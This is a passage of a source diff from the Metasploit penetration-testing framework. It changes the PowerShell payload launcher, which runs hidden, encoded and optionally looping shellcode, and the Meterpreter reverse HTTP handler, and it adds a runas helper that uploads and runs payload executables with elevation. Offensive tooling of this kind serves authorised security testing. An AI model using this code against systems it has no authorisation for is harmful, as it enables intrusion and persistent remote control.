||||
when :noninteractive
|
||||
arg_string << '-NonInteractive ' if value
|
||||
when :mta
|
||||
arg_string << '-Mta ' if value
|
||||
when :outputformat
|
||||
arg_string << "-OutputFormat #{value} " if value
|
||||
when :sta
|
||||
arg_string << '-Sta ' if value
|
||||
when :noprofile
|
||||
arg_string << '-NoProfile ' if value
|
||||
when :windowstyle
|
||||
arg_string << "-WindowStyle #{value} " if value
|
||||
end
|
||||
end
|
||||
|
||||
# Command must be last (unless from stdin - etc)
|
||||
if opts[:command]
|
||||
arg_string << "-Command #{opts[:command]}"
|
||||
end
|
||||
|
||||
# Shorten arg if PSH 2.0+
|
||||
if opts[:shorten]
|
||||
# Invoke-Command and Out-File require these options to have
|
||||
# an additional space before to prevent Powershell code being
|
||||
# mangled.
|
||||
arg_string.gsub!(' -Command ', ' -c ')
|
||||
arg_string.gsub!('-EncodedCommand ', '-e ')
|
||||
arg_string.gsub!('-ExecutionPolicy ', '-ep ')
|
||||
arg_string.gsub!(' -File ', ' -f ')
|
||||
arg_string.gsub!('-InputFormat ', '-i ')
|
||||
arg_string.gsub!('-NoExit ', '-noe ')
|
||||
arg_string.gsub!('-NoLogo ', '-nol ')
|
||||
arg_string.gsub!('-NoProfile ', '-nop ')
|
||||
arg_string.gsub!('-NonInteractive ', '-noni ')
|
||||
arg_string.gsub!('-OutputFormat ', '-o ')
|
||||
arg_string.gsub!('-Sta ', '-s ')
|
||||
arg_string.gsub!('-WindowStyle ', '-w ')
|
||||
end
|
||||
|
||||
# Strip off first space character
|
||||
arg_string = arg_string[1..-1]
|
||||
# Remove final space character
|
||||
arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
|
||||
|
||||
arg_string
|
||||
end
|
||||
|
||||
#
|
||||
# Wraps the powershell code to launch a hidden window and
|
||||
# detect the execution environment and spawn the appropriate
|
||||
# powershell executable for the payload architecture.
|
||||
#
|
||||
# @param ps_code [String] Powershell code
|
||||
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
|
||||
# @param encoded [Boolean] Indicates whether ps_code is encoded or not
|
||||
#
|
||||
# @return [String] Wrapped powershell code
|
||||
def run_hidden_psh(ps_code, payload_arch, encoded)
|
||||
arg_opts = {
|
||||
noprofile: true,
|
||||
windowstyle: 'hidden',
|
||||
}
|
||||
|
||||
if encoded
|
||||
arg_opts[:encodedcommand] = ps_code
|
||||
else
|
||||
arg_opts[:command] = ps_code.gsub("'", "''")
|
||||
end
|
||||
|
||||
# Old technique fails if powershell exits..
|
||||
arg_opts[:noexit] = true if datastore['Powershell::method'] == 'old'
|
||||
|
||||
ps_args = generate_psh_args(arg_opts)
|
||||
|
||||
process_start_info = <<EOS
|
||||
$s=New-Object System.Diagnostics.ProcessStartInfo
|
||||
$s.FileName=$b
|
||||
$s.Arguments='#{ps_args}'
|
||||
$s.UseShellExecute=$false
|
||||
$p=[System.Diagnostics.Process]::Start($s)
|
||||
EOS
|
||||
process_start_info.gsub!("\n", ';')
|
||||
|
||||
archictecure_detection = <<EOS
|
||||
if([IntPtr]::Size -eq 4){
|
||||
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
|
||||
}else{
|
||||
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
|
||||
};
|
||||
EOS
|
||||
|
||||
return ps_wrapper
|
||||
archictecure_detection.gsub!("\n", '')
|
||||
|
||||
archictecure_detection + process_start_info
|
||||
end
|
||||
|
||||
#
|
||||
# Creates cmd script to execute psh payload
|
||||
# Creates a powershell command line string which will execute the
|
||||
# payload in a hidden window in the appropriate execution environment
|
||||
# for the payload architecture. Opts are passed through to
|
||||
# run_hidden_psh, generate_psh_command_line and generate_psh_args
|
||||
#
|
||||
def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'], wow64=datastore['RUN_WOW64'])
|
||||
# Allow powershell 1.0 format
|
||||
if old_psh
|
||||
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
|
||||
else
|
||||
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
|
||||
# @param pay [String] The payload shellcode
|
||||
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
|
||||
# @param opts [Hash] The options to generate the command
|
||||
# @option opts [Boolean] :persist Loop the payload to cause
|
||||
# re-execution if the shellcode finishes
|
||||
# @option opts [Integer] :prepend_sleep Sleep for the specified time
|
||||
# before executing the payload
|
||||
# @option opts [String] :method The powershell injection technique to
|
||||
# use: 'net'/'reflection'/'old'
|
||||
# @option opts [Boolean] :encode_inner_payload Encodes the powershell
|
||||
# script within the hidden/architecture detection wrapper
|
||||
# @option opts [Boolean] :encode_final_payload Encodes the final
|
||||
# powershell script
|
||||
# @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
|
||||
# environment variable at the start of the command line
|
||||
# @option opts [Boolean] :use_single_quotes Wraps the -Command
|
||||
# argument in single quotes unless :encode_final_payload
|
||||
#
|
||||
# @return [String] Powershell command line with payload
|
||||
def cmd_psh_payload(pay, payload_arch, opts = {})
|
||||
opts[:persist] ||= datastore['Powershell::persist']
|
||||
opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
|
||||
opts[:method] ||= datastore['Powershell::method']
|
||||
|
||||
if opts[:encode_inner_payload] && opts[:encode_final_payload]
|
||||
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
|
||||
end
|
||||
|
||||
if opts[:no_equals] && !opts[:encode_final_payload]
|
||||
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
|
||||
end
|
||||
|
||||
psh_payload = case opts[:method]
|
||||
when 'net'
|
||||
Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
|
||||
when 'reflection'
|
||||
Msf::Util::EXE.to_win32pe_psh_reflection(framework, pay)
|
||||
when 'old'
|
||||
Msf::Util::EXE.to_win32pe_psh(framework, pay)
|
||||
when 'msil'
|
||||
fail RuntimeError, 'MSIL Powershell method no longer exists'
|
||||
else
|
||||
fail RuntimeError, 'No Powershell method specified'
|
||||
end
|
||||
|
||||
# Run our payload in a while loop
|
||||
if datastore['PERSIST']
|
||||
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
|
||||
sleep_time = rand(5)+5
|
||||
if opts[:persist]
|
||||
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
|
||||
sleep_time = rand(5) + 5
|
||||
vprint_status("Sleep time set to #{sleep_time} seconds")
|
||||
psh_payload = "function #{fun_name}{#{psh_payload}};"
|
||||
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
|
||||
end
|
||||
# Determine appropriate architecture
|
||||
ps_bin = wow64 ? '$env:windir+\'\syswow64\WindowsPowerShell\v1.0\powershell.exe\'' : '\'powershell.exe\''
|
||||
# Wrap in hidden runtime
|
||||
psh_payload = run_hidden_psh(psh_payload,ps_bin)
|
||||
# Convert to base64 for -encodedcommand execution
|
||||
command = "%COMSPEC% /B /C start powershell.exe -Command #{psh_payload.gsub("\n",';').gsub('"','\"')}\r\n"
|
||||
end
|
||||
|
||||
#
|
||||
# Convert binary to byte array, read from file if able
|
||||
#
|
||||
def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
|
||||
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
|
||||
code = code.unpack('C*')
|
||||
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
|
||||
lines = []
|
||||
1.upto(code.length-1) do |byte|
|
||||
if(byte % 10 == 0)
|
||||
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
|
||||
if opts[:prepend_sleep]
|
||||
if opts[:prepend_sleep].to_i > 0
|
||||
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
|
||||
else
|
||||
lines.push ",0x#{code[byte].to_s(16)}"
|
||||
vprint_error('Sleep time must be greater than 0 seconds')
|
||||
end
|
||||
end
|
||||
psh << lines.join("") + "\r\n"
|
||||
|
||||
compressed_payload = compress_script(psh_payload)
|
||||
encoded_payload = encode_script(psh_payload)
|
||||
|
||||
# This branch is probably never taken...
|
||||
if encoded_payload.length <= compressed_payload.length
|
||||
smallest_payload = encoded_payload
|
||||
encoded = true
|
||||
else
|
||||
if opts[:encode_inner_payload]
|
||||
encoded = true
|
||||
compressed_encoded_payload = encode_script(compressed_payload)
|
||||
|
||||
if encoded_payload.length <= compressed_encoded_payload.length
|
||||
smallest_payload = encoded_payload
|
||||
else
|
||||
smallest_payload = compressed_encoded_payload
|
||||
end
|
||||
else
|
||||
smallest_payload = compressed_payload
|
||||
encoded = false
|
||||
end
|
||||
end
|
||||
|
||||
# Wrap in hidden runtime / architecture detection
|
||||
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
|
||||
|
||||
command_args = {
|
||||
noprofile: true,
|
||||
windowstyle: 'hidden'
|
||||
}.merge(opts)
|
||||
|
||||
if opts[:encode_final_payload]
|
||||
command_args[:encodedcommand] = encode_script(final_payload)
|
||||
|
||||
# If '=' is a bad character pad the payload until Base64 encoded
|
||||
# payload contains none.
|
||||
if opts[:no_equals]
|
||||
while command_args[:encodedcommand].include? '='
|
||||
final_payload << ' '
|
||||
command_args[:encodedcommand] = encode_script(final_payload)
|
||||
end
|
||||
end
|
||||
else
|
||||
if opts[:use_single_quotes]
|
||||
# Escape Single Quotes
|
||||
final_payload.gsub!("'", "''")
|
||||
# Wrap command in quotes
|
||||
final_payload = "'#{final_payload}'"
|
||||
end
|
||||
|
||||
command_args[:command] = final_payload
|
||||
end
|
||||
|
||||
psh_command = generate_psh_command_line(command_args)
|
||||
|
||||
if opts[:remove_comspec]
|
||||
command = psh_command
|
||||
else
|
||||
command = "%COMSPEC% /b /c start /b /min #{psh_command}"
|
||||
end
|
||||
|
||||
vprint_status("Powershell command length: #{command.length}")
|
||||
if command.length > 8191
|
||||
fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
|
||||
end
|
||||
|
||||
command
|
||||
end
|
||||
|
||||
|
||||
|
||||
#
|
||||
# Useful method cache
|
||||
#
|
||||
module PshMethods
|
||||
include Rex::Exploitation::Powershell::PshMethods
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -31,27 +31,6 @@ module ReverseHttp
|
||||
"tunnel"
|
||||
end
|
||||
|
||||
#
|
||||
# Use the +refname+ to determine whether this handler uses SSL or not
|
||||
#
|
||||
def ssl?
|
||||
!!(self.refname.index("https"))
|
||||
end
|
||||
|
||||
#
|
||||
# Return a URI of the form scheme://host:port/
|
||||
#
|
||||
# Scheme is one of http or https and host is properly wrapped in [] for ipv6
|
||||
# addresses.
|
||||
#
|
||||
def full_uri
|
||||
local_port = bind_port
|
||||
scheme = (ssl?) ? "https" : "http"
|
||||
"#{scheme}://#{datastore['LHOST']}:#{datastore['LPORT']}/"
|
||||
end
|
||||
|
||||
|
||||
|
||||
#
|
||||
# Initializes the HTTP SSL tunneling handler.
|
||||
#
|
||||
@ -77,14 +56,64 @@ module ReverseHttp
|
||||
], Msf::Handler::ReverseHttp)
|
||||
end
|
||||
|
||||
#
|
||||
# Toggle for IPv4 vs IPv6 mode
|
||||
#
|
||||
def ipv6
|
||||
self.refname.index('ipv6') ? true : false
|
||||
def ipv6?
|
||||
Rex::Socket.is_ipv6?(datastore['LHOST'])
|
||||
end
|
||||
|
||||
# Determine where to bind the server
|
||||
#
|
||||
# @return [String]
|
||||
def listener_address
|
||||
if datastore['ReverseListenerBindAddress'].to_s.empty?
|
||||
bindaddr = (ipv6?) ? '::' : '0.0.0.0'
|
||||
else
|
||||
bindaddr = datastore['ReverseListenerBindAddress']
|
||||
end
|
||||
|
||||
bindaddr
|
||||
end
|
||||
|
||||
# @return [String] A URI of the form +scheme://host:port/+
|
||||
def listener_uri
|
||||
if ipv6?
|
||||
listen_host = "[#{listener_address}]"
|
||||
else
|
||||
listen_host = listener_address
|
||||
end
|
||||
"#{scheme}://#{listen_host}:#{datastore['LPORT']}/"
|
||||
end
|
||||
|
||||
# Return a URI suitable for placing in a payload.
|
||||
#
|
||||
# Host will be properly wrapped in square brackets, +[]+, for ipv6
|
||||
# addresses.
|
||||
#
|
||||
# @return [String] A URI of the form +scheme://host:port/+
|
||||
def payload_uri
|
||||
if ipv6?
|
||||
callback_host = "[#{datastore['LHOST']}]"
|
||||
else
|
||||
callback_host = datastore['LHOST']
|
||||
end
|
||||
"#{scheme}://#{callback_host}:#{datastore['LPORT']}/"
|
||||
end
|
||||
|
||||
# Use the {#refname} to determine whether this handler uses SSL or not
|
||||
#
|
||||
def ssl?
|
||||
!!(self.refname.index("https"))
|
||||
end
|
||||
|
||||
# URI scheme
|
||||
#
|
||||
# @return [String] One of "http" or "https" depending on whether we
|
||||
# are using SSL
|
||||
def scheme
|
||||
(ssl?) ? "https" : "http"
|
||||
end
|
||||
|
||||
# Create an HTTP listener
|
||||
#
|
||||
def setup_handler
|
||||
@ -98,17 +127,11 @@ module ReverseHttp
|
||||
|
||||
local_port = bind_port
|
||||
|
||||
# Determine where to bind the HTTP(S) server to
|
||||
bindaddrs = ipv6 ? '::' : '0.0.0.0'
|
||||
|
||||
if not datastore['ReverseListenerBindAddress'].to_s.empty?
|
||||
bindaddrs = datastore['ReverseListenerBindAddress']
|
||||
end
|
||||
|
||||
# Start the HTTPS server service on this host/port
|
||||
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
|
||||
local_port,
|
||||
bindaddrs,
|
||||
listener_address,
|
||||
ssl?,
|
||||
{
|
||||
'Msf' => framework,
|
||||
@ -130,9 +153,7 @@ module ReverseHttp
|
||||
},
|
||||
'VirtualDirectory' => true)
|
||||
|
||||
scheme = (ssl?) ? "https" : "http"
|
||||
bind_url = "#{scheme}://#{bindaddrs}:#{local_port}/"
|
||||
print_status("Started #{scheme.upcase} reverse handler on #{bind_url}")
|
||||
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}")
|
||||
end
|
||||
|
||||
#
|
||||
@ -165,7 +186,6 @@ protected
|
||||
# Parses the HTTPS request
|
||||
#
|
||||
def on_request(cli, req, obj)
|
||||
sid = nil
|
||||
resp = Rex::Proto::Http::Response.new
|
||||
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}...")
|
||||
@ -176,7 +196,7 @@ protected
|
||||
case uri_match
|
||||
when /^\/INITJM/
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
url = full_uri + conn_id + "/\x00"
|
||||
url = payload_uri + conn_id + "/\x00"
|
||||
|
||||
blob = ""
|
||||
blob << obj.generate_stage
|
||||
@ -239,10 +259,10 @@ protected
|
||||
blob[i, proxyinfo.length] = proxyinfo
|
||||
print_status("Activated custom proxy #{proxyinfo}, patch at offset #{i}...")
|
||||
#Optional authentification
|
||||
unless (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
|
||||
unless (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
|
||||
(datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or
|
||||
datastore['PROXY_TYPE'] == 'SOCKS'
|
||||
|
||||
|
||||
proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
proxy_username = datastore['PROXY_USERNAME'] << "\x00"
|
||||
blob[proxy_username_loc, proxy_username.length] = proxy_username
|
||||
@ -266,7 +286,7 @@ protected
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
i = blob.index("https://" + ("X" * 256))
|
||||
if i
|
||||
url = full_uri + conn_id + "/\x00"
|
||||
url = payload_uri + conn_id + "/\x00"
|
||||
blob[i, url.length] = url
|
||||
end
|
||||
print_status("Patched URL at offset #{i}...")
|
||||
@ -308,7 +328,7 @@ protected
|
||||
create_session(cli, {
|
||||
:passive_dispatcher => obj.service,
|
||||
:conn_id => conn_id,
|
||||
:url => full_uri + conn_id + "/\x00",
|
||||
:url => payload_uri + conn_id + "/\x00",
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:ssl => ssl?,
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
module Msf
|
||||
module Handler
|
||||
module ReverseHttp
|
||||
@ -45,6 +46,7 @@ module Msf
|
||||
|
||||
# Map "random" URIs to static strings, allowing us to randomize
|
||||
# the URI sent in the first request.
|
||||
#
|
||||
# @param uri_match [String] The URI string to convert back to the original static value
|
||||
# @return [String] The static URI value derived from the checksum
|
||||
def process_uri_resource(uri_match)
|
||||
@ -69,6 +71,7 @@ module Msf
|
||||
end
|
||||
|
||||
# Create a URI that matches a given checksum
|
||||
#
|
||||
# @param sum [Fixnum] The checksum value you are trying to create a URI for
|
||||
# @return [String] The URI string that checksums to the given value
|
||||
def generate_uri_checksum(sum)
|
||||
|
@ -1,34 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'msf/core/handler/reverse_http'
|
||||
|
||||
module Msf
|
||||
module Handler
|
||||
|
||||
###
|
||||
#
|
||||
# This handler implements the HTTP tunneling interface.
|
||||
#
|
||||
###
|
||||
module ReverseIPv6Http
|
||||
|
||||
include Msf::Handler::ReverseHttp
|
||||
|
||||
#
|
||||
# Override the handler_type to indicate IPv6 mode
|
||||
#
|
||||
def self.handler_type
|
||||
return "reverse_ipv6_http"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the connection-described general handler type, in this case
|
||||
# 'tunnel'.
|
||||
#
|
||||
def self.general_handler_type
|
||||
"tunnel"
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -1,35 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
|
||||
module Msf
|
||||
module Handler
|
||||
|
||||
###
|
||||
#
|
||||
# This handler implements the HTTP SSL tunneling interface.
|
||||
#
|
||||
###
|
||||
module ReverseIPv6Https
|
||||
|
||||
include Msf::Handler::ReverseHttps
|
||||
|
||||
#
|
||||
# Override the handler_type to indicate IPv6 mode
|
||||
#
|
||||
def self.handler_type
|
||||
return "reverse_ipv6_https"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the connection-described general handler type, in this case
|
||||
# 'tunnel'.
|
||||
#
|
||||
def self.general_handler_type
|
||||
"tunnel"
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'rex/socket'
|
||||
require 'thread'
|
||||
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Module::Deprecated
|
||||
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
#
|
||||
# Gems
|
||||
#
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
#
|
||||
# Gems
|
||||
#
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
#
|
||||
# Gems
|
||||
#
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
#
|
||||
# Gems
|
||||
#
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
# Concerns reloading modules
|
||||
module Msf::ModuleManager::Reloading
|
||||
# Reloads the module specified in mod. This can either be an instance of a module or a module class.
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
# Namespace for loading Metasploit modules
|
||||
module Msf::Modules
|
||||
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
# Base error class for all error under {Msf::Modules}
|
||||
class Msf::Modules::Error < StandardError
|
||||
def initialize(attributes={})
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'msf/core/modules'
|
||||
|
||||
# Namespace for module loaders
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'msf/core/modules/loader/base'
|
||||
|
||||
# Concerns loading modules form fastlib archives
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
#
|
||||
# Project
|
||||
#
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
# Concerns loading module from a directory
|
||||
class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base
|
||||
# Returns true if the path is a directory
|
||||
@ -18,7 +19,7 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base
|
||||
# Yields the module_reference_name for each module file found under the directory path.
|
||||
#
|
||||
# @param [String] path The path to the directory.
|
||||
# @param [Array] modules An array of regex patterns to search for specific modules
|
||||
# @param [Hash] opts Input Hash.
|
||||
# @yield (see Msf::Modules::Loader::Base#each_module_reference_name)
|
||||
# @yieldparam [String] path The path to the directory.
|
||||
# @yieldparam [String] type The type correlated with the directory under path.
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'msf/core/modules/error'
|
||||
|
||||
# Error raised by {Msf::Modules::Namespace#metasploit_class!} if it cannot the namespace_module does not have a constant
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'metasploit/framework/api/version'
|
||||
require 'metasploit/framework/core/version'
|
||||
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'msf/core/modules/error'
|
||||
|
||||
# Error raised by {Msf::Modules::Namespace#version_compatible!} on {Msf::Modules::Loader::Base#create_namespace_module}
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
|
||||
###
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'active_support/core_ext/numeric/bytes'
|
||||
module Msf
|
||||
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
module Msf::Post::Linux
|
||||
require 'msf/core/post/linux/priv'
|
||||
require 'msf/core/post/linux/system'
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Post::OSX
|
||||
require 'msf/core/post/osx/system'
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
module Msf
|
||||
class Post
|
||||
module OSX
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
module Msf::Post::Solaris
|
||||
require 'msf/core/post/solaris/priv'
|
||||
require 'msf/core/post/solaris/system'
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Post::Windows
|
||||
require 'msf/core/post/windows/error'
|
||||
@ -11,6 +12,7 @@ module Msf::Post::Windows
|
||||
require 'msf/core/post/windows/process'
|
||||
require 'msf/core/post/windows/railgun'
|
||||
require 'msf/core/post/windows/registry'
|
||||
require 'msf/core/post/windows/runas'
|
||||
require 'msf/core/post/windows/services'
|
||||
require 'msf/core/post/windows/wmic'
|
||||
require 'msf/core/post/windows/netapi'
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Post::Windows::Error
|
||||
SUCCESS = 0x0000
|
||||
@ -2527,5 +2528,5 @@ module Msf::Post::Windows::Error
|
||||
SYSTEM_DEVICE_NOT_FOUND = 0x3BC3
|
||||
HASH_NOT_SUPPORTED = 0x3BC4
|
||||
HASH_NOT_PRESENT = 0x3BC5
|
||||
|
||||
INVALID_HANDLE_VALUE = 0xffffffff
|
||||
end
|
||||
|
@ -50,7 +50,10 @@ module NetAPI
|
||||
|
||||
case result['return']
|
||||
when 0
|
||||
hosts = read_server_structs(result['bufptr'], result['totalentries'], domain, server_type)
|
||||
# Railgun assumes PDWORDS are pointers and returns 8 bytes for x64 architectures.
|
||||
# Therefore we need to truncate the result value to an actual
|
||||
# DWORD for entriesread or totalentries.
|
||||
hosts = read_server_structs(result['bufptr'], (result['entriesread'] % 4294967296), domain, server_type)
|
||||
when ERROR_NO_BROWSER_SERVERS_FOUND
|
||||
print_error("ERROR_NO_BROWSER_SERVERS_FOUND")
|
||||
return nil
|
||||
@ -65,26 +68,28 @@ module NetAPI
|
||||
end
|
||||
|
||||
def read_server_structs(start_ptr, count, domain, server_type)
|
||||
base = 0
|
||||
struct_size = 8
|
||||
hosts = []
|
||||
return hosts if count <= 0
|
||||
|
||||
if count == 0
|
||||
return hosts
|
||||
end
|
||||
ptr_size = client.railgun.util.pointer_size
|
||||
ptr = (ptr_size == 8) ? 'Q<' : 'V'
|
||||
|
||||
base = 0
|
||||
# Struct -> Ptr, Ptr
|
||||
struct_size = ptr_size * 2
|
||||
|
||||
mem = client.railgun.memread(start_ptr, struct_size*count)
|
||||
|
||||
count.times do
|
||||
x = {}
|
||||
x[:version]= mem[(base + 0),4].unpack("V*")[0]
|
||||
nameptr = mem[(base + 4),4].unpack("V*")[0]
|
||||
x[:version]= mem[(base + 0),ptr_size].unpack(ptr).first
|
||||
nameptr = mem[(base + ptr_size),ptr_size].unpack(ptr).first
|
||||
x[:name] = UnicodeByteStringToAscii(client.railgun.memread(nameptr, 255))
|
||||
hosts << x
|
||||
base += struct_size
|
||||
end
|
||||
|
||||
return hosts
|
||||
hosts
|
||||
end
|
||||
|
||||
def net_session_enum(hostname, username)
|
||||
@ -105,7 +110,7 @@ module NetAPI
|
||||
case result['return']
|
||||
when 0
|
||||
vprint_error("#{hostname} Session identified")
|
||||
sessions = read_session_structs(result['bufptr'], result['totalentries'], hostname)
|
||||
sessions = read_session_structs(result['bufptr'], (result['entriesread'] % 4294967296), hostname)
|
||||
when ERROR_ACCESS_DENIED
|
||||
vprint_error("#{hostname} Access denied...")
|
||||
return nil
|
||||
@ -130,17 +135,23 @@ module NetAPI
|
||||
end
|
||||
|
||||
def read_session_structs(start_ptr, count, hostname)
|
||||
base = 0
|
||||
struct_size = 16
|
||||
sessions = []
|
||||
return sessions if count <= 0
|
||||
|
||||
ptr_size = client.railgun.util.pointer_size
|
||||
ptr = (ptr_size == 8) ? 'Q<' : 'V'
|
||||
|
||||
base = 0
|
||||
# Struct -> Ptr, Ptr, Dword Dword
|
||||
struct_size = (ptr_size * 2) + 8
|
||||
mem = client.railgun.memread(start_ptr, struct_size*count)
|
||||
|
||||
|
||||
count.times do
|
||||
sess = {}
|
||||
cnameptr = mem[(base + 0),4].unpack("V*")[0]
|
||||
usernameptr = mem[(base + 4),4].unpack("V*")[0]
|
||||
sess[:usetime] = mem[(base + 8),4].unpack("V*")[0]
|
||||
sess[:idletime] = mem[(base + 12),4].unpack("V*")[0]
|
||||
cnameptr = mem[(base + 0),ptr_size].unpack(ptr).first
|
||||
usernameptr = mem[(base + ptr_size),ptr_size].unpack(ptr).first
|
||||
sess[:usetime] = mem[(base + (ptr_size * 2)),4].unpack('V').first
|
||||
sess[:idletime] = mem[(base + (ptr_size * 2) + 4),4].unpack('V').first
|
||||
sess[:cname] = UnicodeByteStringToAscii(client.railgun.memread(cnameptr,255))
|
||||
sess[:username] = UnicodeByteStringToAscii(client.railgun.memread(usernameptr,255))
|
||||
sess[:hostname] = hostname
|
||||
@ -148,7 +159,7 @@ module NetAPI
|
||||
base = base + struct_size
|
||||
end
|
||||
|
||||
return sessions
|
||||
sessions
|
||||
end
|
||||
|
||||
end # NetAPI
|
||||
|
38
lib/msf/core/post/windows/runas.rb
Normal file
38
lib/msf/core/post/windows/runas.rb
Normal file
@ -0,0 +1,38 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/exploit/powershell'
|
||||
require 'msf/core/exploit/exe'
|
||||
|
||||
module Msf::Post::Windows::Runas
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Powershell
|
||||
|
||||
def execute_exe(filename = nil, path = nil, upload = nil)
|
||||
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
|
||||
payload_path = path || get_env('TEMP')
|
||||
cmd_location = "#{payload_path}\\#{payload_filename}"
|
||||
|
||||
if upload
|
||||
exe_payload = generate_payload_exe
|
||||
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
|
||||
write_file(cmd_location, exe_payload)
|
||||
else
|
||||
print_status("No file uploaded, attempting to execute #{cmd_location}...")
|
||||
end
|
||||
|
||||
shell_exec(cmd_location, nil)
|
||||
end
|
||||
|
||||
def execute_psh
|
||||
powershell_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
||||
command = 'cmd.exe'
|
||||
args = "/c #{powershell_command}"
|
||||
shell_exec(command, args)
|
||||
end
|
||||
|
||||
def shell_exec(command, args)
|
||||
print_status('Executing elevated command...')
|
||||
session.railgun.shell32.ShellExecuteA(nil, 'runas', command, args, nil, 'SW_SHOW')
|
||||
end
|
||||
end
|
@ -18,8 +18,20 @@ module Msf::HTTP::Typo3::Login
|
||||
return nil
|
||||
end
|
||||
|
||||
e = res_main.body.match(/<input type="hidden" id="rsa_e" name="e" value="(\d+)" \/>/)[1]
|
||||
n = res_main.body.match(/<input type="hidden" id="rsa_n" name="n" value="(\w+)" \/>/)[1]
|
||||
e_match = res_main.body.match(/<input type="hidden" id="rsa_e" name="e" value="(\d+)" \/>/)
